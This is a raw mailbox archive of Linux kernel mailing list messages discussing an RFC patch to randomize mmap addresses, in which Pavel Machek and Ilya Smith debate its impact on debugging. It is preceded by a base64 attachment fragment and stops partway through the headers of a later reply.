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
3McsSlybIGuuI9r6iXWK/wcmdp8QOrYAAA==

--d6Gm4EdcadzBjdND
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
linux-snps-arc mailing list
linux-snps-arc@lists.infradead.org
http://lists.infradead.org/mailman/listinfo/linux-snps-arc
--d6Gm4EdcadzBjdND--



From - Thu Nov 08 21:41:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Pavel Machek <pavel@ucw.cz>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.mm
Subject: Re: [RFC PATCH v2 0/2] Randomization of address chosen by mmap.
Date: Fri, 30 Mar 2018 09:55:08 +0200
Lines: 39
Approved: news@gmane.org
Message-ID: <20180330075508.GA21798@amd>
References: <1521736598-12812-1-git-send-email-blackzert@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
        protocol="application/pgp-signature"; boundary="9amGYk9869ThD9tj"
X-Trace: blaine.gmane.org 1522396401 19487 195.159.176.226 (30 Mar 2018 07:53:21 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 30 Mar 2018 07:53:21 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: rth@twiddle.net, ink@jurassic.park.msu.ru, mattst88@gmail.com,
        vgupta@synopsys.com, linux@armlinux.org.uk, tony.luck@intel.com,
        fenghua.yu@intel.com, jhogan@kernel.org, ralf@linux-mips.org,
        jejb@parisc-linux.org, deller@gmx.de, benh@kernel.crashing.org,
        paulus@samba.org, mpe@ellerman.id.au, schwidefsky@de.ibm.com,
        heiko.carstens@de.ibm.com, ysato@users.sourceforge.jp,
        dalias@libc.org, davem@davemloft.net, tglx@linutronix.de,
        mingo@redhat.com, hpa@zytor.com, x86@kernel.org,
        nyc@holomorphy.com, viro@zeniv.linux.org.uk, arnd@arndb.de,
        gregkh@linuxfoundation.org, deepa.kernel@gmail.com,
        mhocko@suse.com, hughd@google.com, kstewart@linuxfoundation.org,
        pombredanne@nexb.com, akpm@linux-foundation.org,
        steve.capper@arm.com, punit.agrawal@arm.com, paul.burton@mips.com,
        aneesh.kumar@linux.vn
To: Ilya Smith <blackzert@gmail.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Mar 30 09:53:11 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f1oqT-0000F3-PW
	for glk-linux-kernel-4@m.gmane.org; Fri, 30 Mar 2018 09:53:10 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751195AbeC3HzP (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 30 Mar 2018 03:55:15 -0400
Original-Received: from atrey.karlin.mff.cuni.cz ([195.113.26.193]:36365 "EHLO
        atrey.karlin.mff.cuni.cz" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1750741AbeC3HzM (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 30 Mar 2018 03:55:12 -0400
Original-Received: by atrey.karlin.mff.cuni.cz (Postfix, from userid 512)
        id C15738037F; Fri, 30 Mar 2018 09:55:08 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <1521736598-12812-1-git-send-email-blackzert@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2729403 gmane.linux.ports.alpha:4916 gmane.linux.kernel.arc:3716 gmane.linux.ports.arm.kernel:641797 gmane.linux.ports.ia64:28785 gmane.linux.kernel.metag:1752 gmane.linux.ports.mips.general:64307 gmane.linux.ports.parisc:28459 gmane.linux.ports.ppc64.devel:155509 gmane.linux.ports.sh.devel:56783 gmane.linux.ports.sparc:27517 gmane.linux.kernel.mm:192645
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2729403>


--9amGYk9869ThD9tj
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hi!

> Current implementation doesn't randomize address returned by mmap.
> All the entropy ends with choosing mmap_base_addr at the process
> creation. After that mmap build very predictable layout of address
> space. It allows to bypass ASLR in many cases. This patch make
> randomization of address on any mmap call.

How will this interact with people debugging their application, and
getting different behaviours based on memory layout?

strace, strace again, get different results?

									Pavel
--=20
(english) http://www.livejournal.com/~pavelmachek
(cesky, pictures) http://atrey.karlin.mff.cuni.cz/~pavel/picture/horses/blo=
g.html

--9amGYk9869ThD9tj
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1

iEYEARECAAYFAlq97VwACgkQMOfwapXb+vI6UQCdF4AyQJZJhtFyHLBBqwpvR1q8
v88AnRJDGP+1mNMTwfSngE35HzilPhGr
=dXPW
-----END PGP SIGNATURE-----

--9amGYk9869ThD9tj--


From - Thu Nov 08 21:41:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Ilya Smith <blackzert@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.mm
Subject: Re: [RFC PATCH v2 0/2] Randomization of address chosen by mmap.
Date: Fri, 30 Mar 2018 12:07:58 +0300
Lines: 27
Approved: news@gmane.org
Message-ID: <95EECC28-7349-4FB4-88BF-26E4CF087A0B@gmail.com>
References: <1521736598-12812-1-git-send-email-blackzert@gmail.com>
 <20180330075508.GA21798@amd>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (Mac OS X Mail 11.2 \(3445.5.20\))
Content-Type: text/plain;
        charset=utf-8
Content-Transfer-Encoding: quoted-printable
X-Trace: blaine.gmane.org 1522400778 10422 195.159.176.226 (30 Mar 2018 09:06:18 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 30 Mar 2018 09:06:18 +0000 (UTC)
Cc: rth@twiddle.net, ink@jurassic.park.msu.ru, mattst88@gmail.com,
        vgupta@synopsys.com, linux@armlinux.org.uk, tony.luck@intel.com,
        fenghua.yu@intel.com, jhogan@kernel.org, ralf@linux-mips.org,
        jejb@parisc-linux.org, Helge Deller <deller@gmx.de>,
        benh@kernel.crashing.org, paulus@samba.org, mpe@ellerman.id.au,
        schwidefsky@de.ibm.com, heiko.carstens@de.ibm.com,
        ysato@users.sourceforge.jp, dalias@libc.org, davem@davemloft.net,
        tglx@linutronix.de, mingo@redhat.com, hpa@zytor.com,
        x86@kernel.org, nyc@holomorphy.com, viro@zeniv.linux.org.uk,
        arnd@arndb.de, gregkh@linuxfoundation.org, deepa.kernel@gmail.com,
        Michal Hocko <mhocko@suse.com>, hughd@google.com,
        kstewart@linuxfoundation.org, pombredanne@nexb.com,
        akpm@linux-foundation.org, steve.capper@arm.com,
        punit.agrawal@arm.com, paul.burton@m
To: Pavel Machek <pavel@ucw.cz>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Mar 30 11:06:08 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f1pz5-0002YD-Ek
	for glk-linux-kernel-4@m.gmane.org; Fri, 30 Mar 2018 11:06:07 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751451AbeC3JIL (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 30 Mar 2018 05:08:11 -0400
Original-Received: from mail-lf0-f65.google.com ([209.85.215.65]:46166 "EHLO
        mail-lf0-f65.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751230AbeC3JIE (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 30 Mar 2018 05:08:04 -0400
Original-Received: by mail-lf0-f65.google.com with SMTP id j68-v6so11753188lfg.13;
        Fri, 30 Mar 2018 02:08:02 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=mime-version:subject:from:in-reply-to:date:cc
         :content-transfer-encoding:message-id:references:to;
        bh=ZTjxoqKaoobJFUevSLgPJQU741b1iW8H0MvOHx0z9s8=;
        b=RouoAPahIBeHWmIgnH+8/cn6AMZFJbZqrK40ZUVYzW79JDPzZE8r5ASWUNWmrwduLD
         8f3shx1rqIvJjr0jRdyDRmGnKNyvMEC0a5YCVSM/NCLq5b0xvwFWnNt1pRQUr5hsByYi
         xFtAKpsQZ1g1tu0/giU7BNmHi4ujjdm/+NVAbpbkcN9w2p8xRMD9DyxZynXNAC92a5pM
         N864y0bNKHpK5NT3AJ2ToR0BksDVFur6bU7r6BRX0jkeT08EVsrQVtnfbBkcgmVziYks
         aN45ncRS6DPb0rwCzGp5TJWCA0WgpNitY6WmXPnb6XKnwFIencXwlyj+9q35Cb55NJIC
         d3Og==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:subject:from:in-reply-to:date:cc
         :content-transfer-encoding:message-id:references:to;
        bh=ZTjxoqKaoobJFUevSLgPJQU741b1iW8H0MvOHx0z9s8=;
        b=gTMDrREV/+VmsXC6vRFTa/SK7wxsycOvKbuWS61q33+3kn5wlzVRWdAgZFIVXO3JDs
         hDsvxpaAqSoUXPYyOJykNIvbwG28b/t5IWa1Pc86cYRWtXdpWAvTLdU+NwpIeK6altdo
         pn/w3Ll2bPBMB8M1me0JwOrOQWne6gFnn0TJkKq2zpUpJxOd8UGK3EYeN0vZJBJrsBbU
         dKH0TCiTfAYYq4edIDxeZTihLLYnaSnAWphpY51he8oAlsIZvnUYJ0GTB8+BZT6XOp18
         CGu3jpwQk0EcaehqD1ftSpiJyyjzA1cwjb5GRZ9Q0w4X7zwbnyOkPCRRe1SpZWTfjUWC
         HQQw==
X-Gm-Message-State: AElRT7HWHGRIqudcbCSkXMC8cu2mjn3ld//9FHxLwi776hSYcZ6IoFL1
        Fc4uX8U6PF1/7S/IA+rdxls=
X-Google-Smtp-Source: AIpwx4819IvCDJg/mTs2Ax4OcWGaODCSYvKwRadsg1AoBjgPwzfi7Txju4VQpU86PWklyO824cjPiA==
X-Received: by 10.46.57.19 with SMTP id g19mr7397119lja.127.1522400881844;
        Fri, 30 Mar 2018 02:08:01 -0700 (PDT)
Original-Received: from [10.0.36.208] ([31.44.93.2])
        by smtp.gmail.com with ESMTPSA id q18sm1396174ljg.35.2018.03.30.02.07.59
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Fri, 30 Mar 2018 02:08:00 -0700 (PDT)
In-Reply-To: <20180330075508.GA21798@amd>
X-Mailer: Apple Mail (2.3445.5.20)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2729445 gmane.linux.ports.alpha:4917 gmane.linux.kernel.arc:3717 gmane.linux.ports.arm.kernel:641806 gmane.linux.ports.ia64:28786 gmane.linux.kernel.metag:1753 gmane.linux.ports.mips.general:64308 gmane.linux.ports.parisc:28460 gmane.linux.ports.ppc64.devel:155511 gmane.linux.ports.sh.devel:56784 gmane.linux.ports.sparc:27518 gmane.linux.kernel.mm:192653
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2729445>

Hi

> On 30 Mar 2018, at 10:55, Pavel Machek <pavel@ucw.cz> wrote:
>=20
> Hi!
>=20
>> Current implementation doesn't randomize address returned by mmap.
>> All the entropy ends with choosing mmap_base_addr at the process
>> creation. After that mmap build very predictable layout of address
>> space. It allows to bypass ASLR in many cases. This patch make
>> randomization of address on any mmap call.
>=20
> How will this interact with people debugging their application, and
> getting different behaviours based on memory layout?
>=20
> strace, strace again, get different results?
>=20

Honestly I=E2=80=99m confused about your question. If the only one way =
for debugging=20
application is to use predictable mmap behaviour, then something went =
wrong in=20
this live and we should stop using computers at all.

Thanks,
Ilya


From - Thu Nov 08 21:41:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Pavel Machek <pavel@ucw.cz>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.mm
Subject: Re: [RFC PATCH v2 0/2] Randomization of address chosen by mmap.
Date: Fri, 30 Mar 2018 11:57:35 +0200
Lines: 54
Approved: news@gmane.org
Message-ID: <20180330095735.GA15641@amd>
References: <1521736598-12812-1-git-send-email-blackzert@gmail.com>
 <20180330075508.GA21798@amd>
 <95EECC28-7349-4FB4-88BF-26E4CF087A0B@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
        protocol="application/pgp-signature"; boundary="KsGdsel6WgEHnImy"
X-Trace: blaine.gmane.org 1522403747 15415 195.159.176.226 (30 Mar 2018 09:55:47 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 30 Mar 2018 09:55:47 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: rth@twiddle.net, ink@jurassic.park.msu.ru, mattst88@gmail.com,
        vgupta@synopsys.com, linux@armlinux.org.uk, tony.luck@intel.com,
        fenghua.yu@intel.com, jhogan@kernel.org, ralf@linux-mips.org,
        jejb@parisc-linux.org, Helge Deller <deller@gmx.de>,
        benh@kernel.crashing.org, paulus@samba.org, mpe@ellerman.id.au,
        schwidefsky@de.ibm.com, heiko.carstens@de.ibm.com,
        ysato@users.sourceforge.jp, dalias@libc.org, davem@davemloft.net,
        tglx@linutronix.de, mingo@redhat.com, hpa@zytor.com,
        x86@kernel.org, nyc@holomorphy.com, viro@zeniv.linux.org.uk,
        arnd@arndb.de, gregkh@linuxfoundation.org, deepa.kernel@gmail.com,
        Michal Hocko <mhocko@suse.com>, hughd@google.com,
        kstewart@linuxfoundation.org, pombredanne@nexb.com,
        akpm@linux-foundation.org, steve.capper@arm.com,
        punit.agrawal@arm.com, paul.burton@m
To: Ilya Smith <blackzert@gmail.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Mar 30 11:55:37 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f1qkz-0002S0-06
	for glk-linux-kernel-4@m.gmane.org; Fri, 30 Mar 2018 11:55:37 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751345AbeC3J5m (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 30 Mar 2018 05:57:42 -0400
Original-Received: from atrey.karlin.mff.cuni.cz ([195.113.26.193]:38795 "EHLO
        atrey.karlin.mff.cuni.cz" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1750802AbeC3J5i (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 30 Mar 2018 05:57:38 -0400
Original-Received: by atrey.karlin.mff.cuni.cz (Postfix, from userid 512)
        id C177C80391; Fri, 30 Mar 2018 11:57:35 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <95EECC28-7349-4FB4-88BF-26E4CF087A0B@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2729493 gmane.linux.ports.alpha:4918 gmane.linux.kernel.arc:3718 gmane.linux.ports.arm.kernel:641826 gmane.linux.ports.ia64:28787 gmane.linux.kernel.metag:1754 gmane.linux.ports.mips.general:64309 gmane.linux.ports.parisc:28461 gmane.linux.ports.ppc64.devel:155512 gmane.linux.ports.sh.devel:56785 gmane.linux.ports.sparc:27519 gmane.linux.kernel.mm:192656
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2729493>


--KsGdsel6WgEHnImy
Content-Type: text/plain; charset=utf-8
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Fri 2018-03-30 12:07:58, Ilya Smith wrote:
> Hi
>=20
> > On 30 Mar 2018, at 10:55, Pavel Machek <pavel@ucw.cz> wrote:
> >=20
> > Hi!
> >=20
> >> Current implementation doesn't randomize address returned by mmap.
> >> All the entropy ends with choosing mmap_base_addr at the process
> >> creation. After that mmap build very predictable layout of address
> >> space. It allows to bypass ASLR in many cases. This patch make
> >> randomization of address on any mmap call.
> >=20
> > How will this interact with people debugging their application, and
> > getting different behaviours based on memory layout?
> >=20
> > strace, strace again, get different results?
> >=20
>=20
> Honestly I=E2=80=99m confused about your question. If the only one way fo=
r debugging=20
> application is to use predictable mmap behaviour, then something went wro=
ng in=20
> this live and we should stop using computers at all.

I'm not saying "only way". I'm saying one way, and you are breaking
that. There's advanced stuff like debuggers going "back in time".

									Pavel
--=20
(english) http://www.livejournal.com/~pavelmachek
(cesky, pictures) http://atrey.karlin.mff.cuni.cz/~pavel/picture/horses/blo=
g.html

--KsGdsel6WgEHnImy
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1

iEYEARECAAYFAlq+Cg8ACgkQMOfwapXb+vJu0QCdEsEH77ETyX2HVZNSmFfJe/v+
DCwAnjMGWij1bTYek7//IiDd4px1ZWUT
=qmNi
-----END PGP SIGNATURE-----

--KsGdsel6WgEHnImy--


From - Thu Nov 08 21:41:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Ilya Smith <blackzert@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.mm
Subject: Re: [RFC PATCH v2 0/2] Randomization of address chosen by mmap.
Date: Fri, 30 Mar 2018 14:10:21 +0300
Lines: 54
Approved: news@gmane.org
Message-ID: <4F529F89-6595-4DE9-87C2-C3D971C76658@gmail.com>
References: <1521736598-12812-1-git-send-email-blackzert@gmail.com>
 <20180330075508.GA21798@amd> <95EECC28-7349-4FB4-88BF-26E4CF087A0B@gmail.com>
 <20180330095735.GA15641@amd>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (Mac OS X Mail 11.2 \(3445.5.20\))
Content-Type: text/plain;
        charset=utf-8
Content-Transfer-Encoding: quoted-printable
X-Trace: blaine.gmane.org 1522408120 23396 195.159.176.226 (30 Mar 2018 11:08:40 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 30 Mar 2018 11:08:40 +0000 (UTC)
Cc: rth@twiddle.net, ink@jurassic.park.msu.ru, mattst88@gmail.com,
        vgupta@synopsys.com, linux@armlinux.org.uk, tony.luck@intel.com,
        fenghua.yu@intel.com, jhogan@kernel.org, ralf@linux-mips.org,
        jejb@parisc-linux.org, Helge Deller <deller@gmx.de>,
        benh@kernel.crashing.org, paulus@samba.org, mpe@ellerman.id.au,
        schwidefsky@de.ibm.com, heiko.carstens@de.ibm.com,
        ysato@users.sourceforge.jp, dalias@libc.org, davem@davemloft.net,
        tglx@linutronix.de, mingo@redhat.com, hpa@zytor.com,
        x86@kernel.org, nyc@holomorphy.com, viro@zeniv.linux.org.uk,
        arnd@arndb.de, gregkh@linuxfoundation.org, deepa.kernel@gmail.com,
        Michal Hocko <mhocko@suse.com>, hughd@google.com,
        kstewart@linuxfoundation.org, pombredanne@nexb.com,
        akpm@linux-foundation.org, steve.capper@arm.com,
        punit.agrawal@arm.com, paul.burton@m
To: Pavel Machek <pavel@ucw.cz>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Mar 30 13:08:30 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f1rtV-0005r3-A9
	for glk-linux-kernel-4@m.gmane.org; Fri, 30 Mar 2018 13:08:29 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751336AbeC3LKb (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 30 Mar 2018 07:10:31 -0400
Original-Received: from mail-lf0-f68.google.com ([209.85.215.68]:35951 "EHLO
        mail-lf0-f68.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751096AbeC3LK1 (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 30 Mar 2018 07:10:27 -0400
Original-Received: by mail-lf0-f68.google.com with SMTP id z143-v6so12163393lff.3;
        Fri, 30 Mar 2018 04:10:25 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=mime-version:subject:from:in-reply-to:date:cc
         :content-transfer-encoding:message-id:references:to;
        bh=DMv1OHAJmnEuxAnHztpCW3t3RuKwa0Ou1+EXusdSHqQ=;
        b=c6OeY3LG3/SmGB2/VJasz3Jj1Hl1qs0qDK02ShrL9GqU7fI0AEKmpelcTMKCO85SMQ
         gtPSuao6g/t6hVKuBSTvL6NzEa5UKjxGQYwtxpI8N621RaKLGW1gjaUBl4VmxhR1VaCK
         5u81T57afjTslrmEOAyZfWWa/xMhaWkcfKLeJ7adeGpJplpq6REV/Oqg05kn+j511X6k
         ugbrSRQqCvRyHe9AvD/1SqZamn/VJUqI61Z4dJJ+ZTiiR2nChbu7ug4phF/lPNYmFQFY
         tfjd1OqikW7SJCpbz8CCSxvJvKRs0bq5yLp0i2NYZYtoPUz0R+CYfFsnaF8fpOWUD/ws
         tkFg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:subject:from:in-reply-to:date:cc
         :content-transfer-encoding:message-id:references:to;
        bh=DMv1OHAJmnEuxAnHztpCW3t3RuKwa0Ou1+EXusdSHqQ=;
        b=nhHT5PNPZLeDUSQinwTkwqvDZUmHTdfj1f7kGeCA0z9SKEf4tbl0Uy5lTURvIEcxnU
